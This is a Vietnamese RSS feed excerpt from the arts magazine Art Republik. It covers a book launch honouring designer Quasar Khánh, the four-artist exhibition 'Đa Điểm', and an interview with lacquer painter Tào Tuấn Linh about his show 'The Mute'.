Được tổ chức vào dịp kỷ niệm 90 năm ngày sinh của Quasar Khánh (25.11.1934–30.06.2016), sự kiện không chỉ đơn thuần là buổi giới thiệu sách mà còn là một không gian kết nối giữa quá khứ và hiện tại, giữa người thân và các đối tác, bạn bè gia đình Quasar. Ông Othello Khánh chia sẻ đầy xúc động: “Đây là câu chuyện đáng lưu tâm về một cậu bé đến từ Hà Nội, đã vượt qua mọi khó khăn để vươn tới các vì sao, để đứng giữa những thiên tài thiết kế và các nhà phát minh lỗi lạc của thế giới. Tôi biết cha tôi sẽ rất vui mừng khi nhìn thấy tình yêu thương trong sự hiện diện của các bạn ở đây”.

Bên cạnh đó, những chia sẻ từ ông Hoàng Sơn, bằng hữu của gia đình Quasar, hay những tâm sự của bà Michèle, đã hé lộ thêm nhiều câu chuyện đời thường nhưng giàu cảm hứng, cũng như khắc họa niềm say mê sáng tạo và tận tâm gìn giữ, phát triển những giá trị Việt của Quasar Khánh.

(Từ trái sang phải) Ông Othello Khánh, bà Sophie Maysonnave – đại diện Viện Pháp và bà Michèle deAlbert trò chuyện cùng khách mời tham dự sự kiện.
Ông Othello Khánh ký tặng sách cho khách mời.

Nhằm tôn vinh tinh thần của Quasar Khánh, những chi tiết nhỏ nhất tại sự kiện ra mắt sách đã được chăm chút tỉ mỉ. Hoa sen – được xem quốc hoa của Việt Nam, được lựa chọn để gửi tặng khách mời, ẩn chứa tinh thần luôn hướng về quê hương của Quasar Khánh và gia đình ông. 

Hoạt động giao lưu, thưởng thức tại sự kiện còn trở nên gần gũi và đặc sắc hơn với thực đơn được thiết kế tinh tế. Các món ăn đều mang hương vị Việt Nam truyền thống, biến tấu nguyên liệu bản địa một cách sáng tạo. Từ cốm tươi, bắp nướng, bò bía, đến trà đá và bia Hà Nội, những món ăn, thức uống này không chỉ là trải nghiệm vị giác mà còn là cầu nối văn hóa, giới thiệu nền ẩm thực Việt với bạn bè quốc tế.  

Không gian trưng bày hai tác phẩm của Quasar Khánh: ghế bơm hơi trong bộ sưu tập Hàng không vũ trụ và ghế tựa Nervure trong bộ sưu tập Michèle deAlbert.
Ghế bơm hơi trong bộ sưu tập Hàng không vũ trụ
Ghế tựa Nervure trong bộ sưu tập Michèle deAlbert.
Ghế tựa Nervure trong bộ sưu tập Michèle deAlbert.

Giá trị của di sản

Buổi ra mắt sách “Quasar Khánh – Nhà thiết kế huyền thoại” không dừng lại ở việc tưởng nhớ một cá nhân, mà còn khẳng định giá trị của di sản trong bối cảnh thế giới đang tìm kiếm các giải pháp sáng tạo bền vững. Và ấn phẩm không chỉ tôn vinh Quasar Khánh như một nhà thiết kế tiên phong, mà còn chứa đựng lời nhắc nhở thế hệ hiện tại và tương lai về sức mạnh của tư duy đổi mới.

The post Di sản của một nhà tiên phong: Kết nối quá khứ – hiện tại – tương lai appeared first on Art Republik.

]]>
https://artrepublik.vn/di-san-cua-mot-nha-tien-phong-ket-noi-qua-khu-hien-tai-tuong-lai/feed/ 0
“Đa Điểm” – Những mẫu hình quanh ta https://artrepublik.vn/da-diem-nhung-mau-hinh-quanh-ta/ https://artrepublik.vn/da-diem-nhung-mau-hinh-quanh-ta/#respond Fri, 22 Nov 2024 02:31:09 +0000 https://artrepublik.vn/?p=7297 “Đa Điểm” là một cuộc đối thoại xoay quanh những tâm tư và khẳng định của những người nghệ sĩ về những khuôn mẫu in sâu vào tiềm thức tập thể.

The post “Đa Điểm” – Những mẫu hình quanh ta appeared first on Art Republik.

]]>
“Đa Điểm” là một cuộc đối thoại xoay quanh những tâm tư và khẳng định của những người nghệ sĩ về những khuôn mẫu in sâu vào tiềm thức tập thể.

“Đa Điểm” tập hợp bốn họa sĩ bao gồm Nguyễn Việt Cường, Nguyễn Hữu Tăng, Bảo Nguyễn và Đặng Quang Tiến. Qua triển lãm này, bốn nghệ sĩ cùng nhau khám phá và khảo nghiệm những mẫu hình thông qua nghệ thuật thực hành. Cuộc đối thoại xoay quanh những tâm tư và khẳng định của những người nghệ sĩ về những khuôn mẫu in sâu vào tiềm thức tập thể, qua đó đem đến cho khán giả những mâu thuẫn thể hiện trong loạt tác phẩm để phản tư về những vấn đề trong xã hội.

Bảo Nguyễn mở ra một cuộc đối thoại về “Hào quang nữ quyền”, về thần thái và sức sống uy quyền, mãnh liệt nhưng cũng mềm mại và tinh tế qua hình ảnh truyền cảm hứng của người phụ nữ. Kết hợp văn hóa truyền thống lấy cảm hứng từ hình ảnh vua chúa triều Nguyễn cùng với thời trang hiện đại, những tác phẩm của Bảo Nguyễn là một phép thử độc đáo giữa giá trị giữa hai thời đại hòa hợp và song hành. Người họa sĩ tập trung vào việc đánh dấu dấu ấn cá nhân qua những khung tranh được sơn màu, trở thành một thể thống nhất với tác phẩm nghệ thuật và xóa tan đi ranh giới giữa tác phẩm và khung tranh chứa đựng là hai thể tách biệt.

Trái: Bảo Nguyễn, “Điệu đà”, 110 x 130 cm. Phải: Bảo Nguyễn, “Xa hoa”, 100 x155 cm, chất liệu tổng hợp.

Với tác phẩm “Sự di cư của cái tôi” của Đặng Quang Tiến, người xem dõi theo một đàn vịt chạy đàn xuyên suốt chiều dài gần như vô tận của bức tranh. Mỗi cá thể đều có nét độc đáo riêng, nhưng nổi bật nhất là một nhóm vịt màu hồng giữa đàn vịt, bất chấp sự khác biệt, chúng hòa lẫn vào nhau, hài hòa một cách tự nhiên mà vẫn giữ được nét độc đáo. Từ đó đem đến cho khán giả một cuộc đối thoại về hành trình đi tìm cái tôi trong một xã hội nhiễu loạn luôn luôn biến động; nơi mỗi cá thể phải định vị lại bản sắc cá nhân đồng thời kết nối với cộng đồng mà chính mình thuộc về.

Đặng Quang Tiến, “Sự di cư của cái tôi”, 120 x 720 cm, màu nước trên giấy.

Nếu hai nghệ sĩ trên đem đến cho “Đa Điểm” những góc nhìn về xã hội và thời cuộc, hướng về cộng đồng thì Nguyễn Việt Cường chọn tìm về với các mẫu hình lịch sử như một cách để học lại văn hóa dân gian – bằng thơ ca, thi ca và ca dao tục ngữ Việt Nam. Với anh, loạt tranh như một cách đi ngược lại thời gian và học lại sử thi bằng nghệ thuật. Anh kết hợp những vật liệu chứa tính chất nguyên thuỷ nhất của vũ trụ – bút lửa và nhang – mang tính lửa; với những nguyên liệu của cội nguồn văn hóa – các hoạ tiết chạm khắc từ chùa Thái Lạc, Hưng Yên. Nguyễn Việt Cường mang đến cho “Đa Điểm” một góc nhìn thiền định, hướng về cái gốc rễ của một con người, một đất nước và sự ảnh hưởng của mẫu hình lịch sử này tới nghệ thuật Việt Nam.

Nguyễn Việt Cường, “Hai tiên nữ dâng hoa”, 100 x 100 cm, khắc giấy.

Còn với Nguyễn Hữu Tăng, sự tìm về bên trong của anh mang âm hưởng gần gũi và hiện đại hơn khi lấy con người làm trung tâm. Nếu Nguyễn Việt Cường tìm về với chiều sâu văn hóa, thì Nguyễn Hữu Tăng lại tìm về với những gì cô đơn, tuyệt vọng nhất của con người. Loạt tranh của anh gợi lên góc nhìn về sự mong manh trong tâm lý xã hội hiện đại, quan niệm về sự mạnh mẽ của những người trưởng thành. Anh hướng vào nội tâm, vào những góc khuất của con người, sử dụng những màu sắc trầm buồn, kết hợp với vật liệu gợi lên sự mong manh và những biểu tượng như bóng bay; Nguyễn Hữu Tăng chọn khai thác sâu vào tạo hình, hình khối – để người xem có thể tự cảm, tự ngẫm về sự cô đơn, mong manh trong mình.

Tác phẩm của Nguyễn Hữu Tăng từ trái qua phải: “Điểm đen, “Quý cô, “Đàn ông”. Tất cả đều là sáng tác năm 2024, kích thước 100 x100 cm, acrylic trên canvas.

Bước vào “Đa Điểm”, người xem sẽ đi qua bốn góc nhìn, bốn loại mẫu hình tưởng chừng riêng biệt; với những phong cách hội họa và thực hành khác nhau; nhưng đều có một điểm chung đó là những suy tư, chiêm nghiệm mà bốn người nghệ sĩ gửi gắm về con người, đời sống trong bối cảnh xã hội thời nay.

Khuê Nguyễn, Thảo Phương

THÔNG TIN TRIỂN LÃM:

Nghệ sĩ: Nguyễn Việt Cường, Nguyễn Hữu Tăng, Bảo Nguyễn, Đặng Quang Tiến.

Thời gian: Từ ngày 01.11.2024 đến hết ngày 22.11.2024

Địa chỉ: 22 Gallery – 22 Phạm Cự Lượng, phường 2, quận Tân Bình, TP. HCM

Giờ mở cửa: Sáng (10:00–12:00) và chiều (14:00–18:00)

Vào cửa miễn phí với lịch đặt hẹn trước: https://forms.gle/TY9pNXzbrioX6JK4A

The post “Đa Điểm” – Những mẫu hình quanh ta appeared first on Art Republik.

]]>
https://artrepublik.vn/da-diem-nhung-mau-hinh-quanh-ta/feed/ 0
“The Mute” – Tào Tuấn Linh và những nốt trầm không tĩnh https://artrepublik.vn/the-mute-tao-tuan-linh-va-nhung-not-tram-khong-tinh/ https://artrepublik.vn/the-mute-tao-tuan-linh-va-nhung-not-tram-khong-tinh/#respond Fri, 22 Nov 2024 01:57:22 +0000 https://artrepublik.vn/?p=9085 Một cuộc trò chuyện giữa Art Republik và họa sĩ Tào Tuấn Linh, nhân triển lãm “The Mute” của anh đang diễn ra tại Annam Gallery.

The post “The Mute” – Tào Tuấn Linh và những nốt trầm không tĩnh appeared first on Art Republik.

]]>
Một cuộc trò chuyện giữa Art Republik và họa sĩ Tào Tuấn Linh, nhân triển lãm “The Mute” của anh đang diễn ra tại Annam Gallery. 

Họa sĩ Tào Tuấn Linh sinh ra và lớn lên tại Hải Phòng. Anh tốt nghiệp khoa Kiến trúc, Đại học Xây dựng vào năm 2005, sau đó anh tiếp tục theo học và tốt ngành Thiết kế Đồ họa chuyển động tại Trường Đại học UniTech, New Zealand. Ngoài ra anh còn từng là giảng viên khoa Mỹ thuật Công nghiệp tại Đại học Hòa Bình và Thiết kế Đồ hoạ và Ý tưởng tại FPT Arena. 

Triển lãm cá nhân đầu tiên của anh – “The Mute”, hiện đang diễn ra tại Annam Gallery (TP. HCM) và kéo dài đến 24 tháng 11 năm 2024. Đến với “The Mute”, người xem được làm quen với hoạ sĩ Tào Tuấn Linh qua những khoảng lặng thầm kín, những gam màu đối lập đan xen với các tạo hình méo mó của nhiều những suy tư, đấu tranh nội tâm khôn nguôi bên trong mỗi người giữa cuộc sống xô bồ, vần vũ hiện nay. 

Ba tác phẩm mang tên “The Mute” đều có chủ thể là các nhạc cụ. Âm nhạc có vai trò gì trong quá trình chiêm nghiệm về sự tĩnh lặng của anh?

Tôi thích âm nhạc, có thể nói là thích hơn cả hội họa. Tuy nhiên, tôi cũng tự thấy mình chưa đủ khả năng làm chủ âm nhạc. Chính vì thế ba bức “The Mute” là lời tự thú rằng với âm nhạc tôi bị bất lực khi muốn chinh phục. Tất cả những gì tôi làm được với các nhạc cụ là những âm thanh méo mó, lộn xộn. Chiếc đàn piano nằm đó như một con quái vật, tôi chỉ có thể nhìn nó mà không thể điều khiển nổi nó. Có lẽ tốt nhất là cả nó và tôi đừng đứa nào phát ra tiếng động. 

 Tào Tuấn Linh, “The Mute 03” (2024), 50 x 70 cm, sơn mài truyền thống.

“Bên trong khoảng câm đó, những tiếng gào thét thật sự mới bắt đầu”. Những hình hài méo mó và các gam màu đan xen đối lập mang sự giằng xé trong tranh, phản ánh quá trình xử lý/đối diện cảm xúc của họa sĩ với cuộc đời như thế nào?

Nói thật là cụm từ “cảm xúc của hoạ sĩ với cuộc đời” khiến tôi sợ. Có một thời gian rất dài tôi thường né tránh để phát sinh cảm xúc giằng xé trong lòng bởi khi phải đối diện, tôi thường sẽ chọn cách xử lý rất tiêu cực. Sau này khi nhiều lần gặp rắc rối với những điều đó, thì tôi đã thực hành một phương pháp: đó là không bao giờ manh động theo những thứ gào thét bên trong mình nữa. Thay vào đó tôi ấn nút “mute” – tắt âm thanh đi – dùng lý trí, suy nghĩ để xử lý sao cho cuộc đời của mình bớt thiệt hại nhất có thể. Nhưng chính ở khoảng câm ấy của chính mình, mọi sự vẫn tiếp diễn theo chiều hướng đã được định sẵn của nó. Tôi im lặng thừa nhận nó, thừa nhận bản thân mình và lại sống tiếp. Vẽ cái gì ra chính là thừa nhận vậy.

Theo anh, con người nên đối diện với nỗi buồn, nốt trầm của cuộc sống bằng sự bình thản hay bằng một niềm cảm xúc mãnh liệt nào khác?

Đầu tiên, việc vẽ giúp tôi nương náu để tháo gỡ các cảm xúc trong lòng. Thứ đến, làm sao tôi dám hợm hĩnh để phát biểu rằng con người nên như thế nào. Tôi cũng chẳng muốn cho ai bất cứ lời khuyên nào. Nhưng với tôi, trước nỗi buồn, tôi chọn việc vẽ. Có thể là tạo ra một bức vẽ bình thản, có thể là tạo ra một bức vẽ giận dữ méo mó. Nhưng ít ra tốt hơn việc bạn hét vào mặt một người vì những vấn đề của bản thân. Đối với con người mà nói thì cần phải cẩn trọng, nhất là với những người thân cận bên mình.

Đối với nhiều người, họ sử dụng sự im lặng như một cách trốn chạy, đối phó với cuộc sống và cảm xúc. Với anh, sự khác biệt trong sử dụng khoảng lặng để trốn chạy và chiêm nghiệm hay đối diện, nằm ở đâu?

Nói thật lòng, tôi không giỏi việc đối phó với các cảm xúc của mình nhưng tính tôi thì thích đối diện và tìm cách tháo gỡ. Nhưng im lặng để trốn chạy hoàn toàn khác với im lặng để đối diện, khi bạn đã dám đối diện với các vấn đề rồi thì sự im lặng lúc đó chính là lý trí của bạn. Nói cách khác là “Come here baby, whatever it takes!” (Cứ đến đây, sao cũng được hết!). Nhưng, nói thế không có nghĩa là các vấn đề sẽ được tháo gỡ.

Các gam màu đối lập đan xen trong tranh của hoạ sĩ được dùng để thể hiện sự giằng xé nội tâm của con người – và màu đỏ là một màu được anh sử dụng khá nhiều trong loạt tranh này. Màu đỏ đối với hoạ sĩ đại diện cho điều gì, cảm xúc gì, vì sao lại được sử dụng nhiều như vậy?

Tôi thường hay cực đoan trong mọi hình thái của cảm xúc. Việc sử dụng các màu tương phản đan xen trong tranh chính là biểu hiện của tính cách đó. Khi vẽ, tôi luôn tâm niệm rằng phải hạn chế bảng màu, nhưng cuối cùng thường sẽ vẫn là xanh đỏ tím vàng lòe loẹt. Chỉ có vậy tôi mới cảm thấy thỏa mãn. 

Màu đỏ là một màu để diễn tả cảm xúc mạnh trong hội họa, và son đỏ chính là một chất liệu đặc trưng của sơn mài, nhưng tranh sơn mài của tôi không chỉ dùng mỗi son để lấy sắc đỏ. Ít nhất tôi có tám hay chín màu đỏ khác nhau ngoài son để dùng. Từ màu tổng hợp, phẩm, bột camay, màu thực phẩm, v.v.. Và kết quả là chúng ta có các màu đỏ trong, phủ mỏng lên vàng để tả da thịt như trong bức “The Thorn Bird” (phẩm hồng phản quang pha với sơn cánh gián).

Tào Tuấn Linh, “The Thorn Bird” (2024), 40 x 60 cm, sơn mài truyền thống. 

Màu đỏ bầm của một “vũng nỗi đau” trần trụi trong bức “The Muse” (các màu đỏ tổng hợp được dùng đan xen với vàng lá, ấn vào trong lúc bãi màu chưa khô). Một vài màu đỏ dạng bán đục khác trên nền chất liệu trong vài bức chân dung để tả sự cào cấu của nội tâm, nhưng cũng có khi là sự xanh đỏ tím vàng rất ngây thơ như trong bức “Con rắn” (son và bột camay đỏ). 

Tôi muốn thử nghiệm các trạng thái biểu đạt khác nhau của một màu thông qua việc mở rộng biên độ vật liệu cấu thành chất liệu.

Bàn tay là một hình ảnh xuất hiện xuyên suốt trong chuỗi tác phẩm lần này. Hình ảnh được đặc tả kỹ, và nằm ở vị trí tiền cảnh của nhiều tác phẩm. Điều gì ở hình ảnh bàn tay và tạo hình tay ôm mặt có liên kết với sự tĩnh lặng để hoạ sĩ cho hình ảnh ấy xuất hiện xuyên suốt loạt tranh?

Rất cảm ơn vì câu hỏi này. Suýt nữa thì triển lãm đã mang tên là “The Hand” chứ không phải “The Mute”. Việc bạn phát hiện ra tranh tôi hay vẽ bàn tay cũng giống như việc tôi thấy bàn tay của một người đôi khi làm sáng tỏ rất nhiều về tâm trạng của người ấy. Và khi bạn bất lực, bạn sẽ có xu hướng che dấu khuôn mặt bằng bàn tay của mình. Nhưng cuối cùng thì chính bàn tay ấy vẫn chẳng có chỗ nào để giấu đi cả. Nó là một sự tuyệt vọng! Xin được trích dẫn vài câu thơ:

“Ta hoang mang gõ nhịp
Ngày cạn sáng lâu rồi
Nay là bóng tối mùa trăng
Còn lạnh buốt trên từng ô cửa…”
(Trích thơ Tào Tuấn Linh, 2006)

Tào Tuấn Linh, “The One Who Doubts” (2024), 30 x 40 cm, sơn mài truyền thống.

Chủ nghĩa hiện sinh cũng là một chủ đề khác của “The Mute”. Chủ nghĩa và cuộc đấu tranh hiện sinh làm nền và tô đậm cho sự câm lặng của “The Mute” ra sao?

Tính chân thực là tiêu chuẩn đạo đức của chủ nghĩa hiện sinh. Chính chúng ta – không phải xã hội hoặc tôn giáo hay tổ chức đoàn thể – chịu trách nhiệm cho việc tự mình mang lại ý nghĩa cho cuộc sống và sống nó một cách chân thành say mê, hay đích thực. Chính vì thế chúng ta phải đứng lên đấu tranh cho việc mình tạo dựng ý nghĩa cuộc sống của mình, đôi khi chính là với xã hội, tôn giáo hoặc đoàn thể. Và sự đấu tranh thì có vô vàn hình thức. Người ta có thể tuyệt thực để đấu tranh đòi quyền được sống; như tôi cũng có thể dùng sự im lặng có chủ đích để biểu đạt những buồn thẳm dữ dội và khát khao bên trong của mình. Bởi vì như đã nói ở trên, không phải lúc nào các vấn đề đều có thể tháo gỡ trong thế giới phi lý này, bạn chỉ có thể im lặng và nhìn vào nó mà thôi. 

Đối với anh, chủ nghĩa hiện sinh được chất vấn và chiêm nghiệm rõ nhất khi nào?

Đôi khi bạn ở trong một cái hố quá lâu đến mức bạn quên mất mình là ai. Có thể một biến cố hoặc một phút giây thức tỉnh nào đó khiến bạn phải nhìn lại cái hố của mình. Khi đó bạn sẽ phải đối diện với chính bản thể của mình trước đây để trả lời cho tất cả những “Where? When? Why? What?” (Ở đâu? Lúc nào? Vì sao? Cái gì?) nhảy múa trong tâm trí bạn. 

Đối với anh, hiện sinh (nghĩa) là gì?

Tôi sinh ra ở Hải Phòng, cũng là nơi tôi sống mười ba năm ấu thơ đầu đời, mảnh đất ấy có nhiều anh hùng hảo hán ai nấy đều thẳng thắn, đàn ông lẫn đàn bà. Với tôi mà nói, hiện sinh là hãy sống và thành thật với chính mình.

Không gian triển lãm “The Mute” đang diễn ra tại Annam Gallery. 

Định hướng và các dự định tương lai của anh sau triển lãm “The Mute”?

Sau “The Mute”, tôi sắp có một cuộc trưng bày vào ngày 8 tháng 12 năm 2024; bốn bức xuân họa (không được đưa vào triển lãm lần này); một triển lãm nhóm vào tháng 3 năm sau ở Hà Nội; một bức phóng tác tranh Phật giáo Tây Tạng – Văn thù Bồ tát và vệ nữ Apsara.

Tôi vẫn sẽ vẽ sơn mài, khám phá tiếp về nó, đưa các loại chất liệu không phổ biến trong kỹ thuật sơn mài vào sơn mài để thử nghiệm. Có thể là sẽ phải tiết chế lại bảng màu. Tiếp tục thực hành mài tranh phẳng bởi vì mài được phẳng thì cái vi tế và lộng lẫy của sơn mài mới được phát huy hết mức. Tiếp tục con đường làm mới và tôn vinh chất liệu. 

Cảm ơn Tào Tuấn Linh đã dành thời gian chia sẻ với Art Republik và chúc anh có nhiều khám phá mới trong thực hành nghệ thuật của bản thân!

Khuê Nguyễn

The post “The Mute” – Tào Tuấn Linh và những nốt trầm không tĩnh appeared first on Art Republik.

]]>
https://artrepublik.vn/the-mute-tao-tuan-linh-va-nhung-not-tram-khong-tinh/feed/ 0